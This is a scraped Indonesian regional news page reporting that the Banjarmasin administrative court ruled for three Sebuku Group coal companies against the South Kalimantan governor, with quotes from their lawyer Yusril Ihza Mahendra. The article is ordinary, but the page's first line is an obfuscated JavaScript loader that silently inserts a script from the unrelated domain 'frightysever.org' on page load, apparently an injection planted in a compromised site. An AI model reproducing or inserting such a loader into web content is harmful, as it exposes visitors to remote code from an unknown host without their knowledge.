(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Yusril : 9 Kali Melawan Presiden, Saya Menang 7 Kali


BANJARMASIN, Pengadilan Tata Usaha Negara (PTUN) Banjarmasin mengabulkan tiga gugatan Sebuku Group atas Gubernur Kalsel.

“Bersyukur dengan keputusan ini walau belum final, karena kuasa hukum tergugat menyatakan mengajukan banding,” kata tim kuasa hukum Sebuku Group Yusril Ihza Mahendra, Kamis (7/6).
Yusril mempersilahkan kubu Pemprov Kalsel untuk menyampaikan memori banding dan pihaknya siap membuat kontra memori banding sebagai bahan tanggapan di Pengadilan Tinggi Tata Usaha Negara (PTTUN).

Yusril mengapresiasi majelis hakim PTUN Banjarmasin yang memutus berdasarkan pertimbangannya dengan melihat fakta persidangan serta argumen dan keterangan saksi ahli, meski di bawah tekanan dan penggalangan opini yang luar biasa.

“Jelas dari argumentasi, bukti-bukti dan kemudian keterangan ahli yang pada intinya keputusan Gubernur Kalsel harus dicabut karena bertentangan dengan peraturan perundang-undangan dan asas umum pemerintahan yang baik,” beber Yusril.

Pakar hukum tata negara itu pun berpesan kepada masyarakat untuk menghormati putusan PTUN tersebut, termasuk Gubernur Kalsel H Sahbirin Noor selaku tergugat yang dikalahkan.

“Jadi siapa saja yang berhadapan dengan penguasa, kita lawan saja di pengadilan. Saya sering kali melakukan itu. Bahkan, saya sembilan kali melawan presiden di pengadilan, di mana tujuh diantaranya saya menang. Itu artinya, presiden saja bisa kalah sepanjang ada kekuatan argumen dan alat bukti yang diajukan di persidangan,” pungkas mantan Menteri Sekretaris Negara dan Menteri Kehakiman dan Hak Azasi Manusia itu.

Pada sidang gugatan PT Sebuku Sejaka Coal dengan nomor perkara 4/G/2018/PTUN.BJM dipimpin hakim ketua Luthfie Ardhian, dalam pertimbangannya menyatakan, tidak ditemukan surat aspirasi masyarakat melalui Peraturan Bupati Kotabaru 29 Desember 2004 berupa larangan aktivitas pertambangan Batubara di Pulau Laut. Selain itu pencabutan izin lingkungan bukan atau tidak sama dengan pencabutan izin usaha produksi.

Sehingga majelis hakim mengabulkan gugatan penggugat sepenuhnya dan oleh karenanya Surat Keputusan Gubernur Kalimantan Selatan yang menjadi obyek sengketa batal dan mewajibkan tergugat mencabut SK Gubernur serta menghukum biaya perkara sebesar Rp 277.500.

Sedangkan pada perkara nomor 5/G/2018/PTUN.BJM yang diajukan PT Sebuku Tanjung Coal, majelis hakim PTUN Banjarmasin yang diketuai Retno Widowati juga memenangkan penggugat. Begitu juga majelis hakim yang menyidangkan perkara nomor 6/G/2018/PTUN.BJM dari PT Sebuku Batubai Coal yang dipimpin hakim ketua Dafrian. (bie)

Reporter:Ammar
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Tak Beridentitas, Jasad Lelaki Didapati Membiru di Landasan Ulin Tengah

KANALKALIMANTAN.COM, BANJARBARU - Warga di Jalan Trikora, Kelurahan Landasan Ulin Tengah, Kecamatan Liang Anggang, Kota… Read More

4 jam ago

Parkir Sembarangan Sekitar Taman Van der Pijl, Siap-siap Kena Derek!

KANALKALIMANTAN.COM, BANJARBARU - Pengunjung Taman Ramah Anak Van der Pijl Kota Banjarbaru tak hanya diharuskan… Read More

5 jam ago

Ombudsman Kalsel Terima 235 Aduan di 2024, Ini Sektor Paling Banyak Dilaporkan

KANALKALIMANTAN.COM, BANJARMASIN - Ombudsman RI Perwakilan Kalimantan Selatan (Kalsel) mencatat sepanjang tahun 2024 telah menerima… Read More

5 jam ago

Dibatasi 1 Jam, Ini Aturan Masuk Taman Van der Pijl

KANALKALIMANTAN.COM, BANJARBARU - Taman Van der Pijl Kota Banjarbaru kembali dibuka untuk bisa dinikmati masyarakat.… Read More

6 jam ago

Jalan Nasional di Banjarmasin Terendam Banjir Rob

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang melanda wilayah Kota Banjarmasin tak hanya melanda kawasan permukiman… Read More

8 jam ago

Jalan Prona Banjarmasin Langganan Banjir Rob

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob kembali melanda wilayah Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel), Rabu… Read More

8 jam ago

This website uses cookies.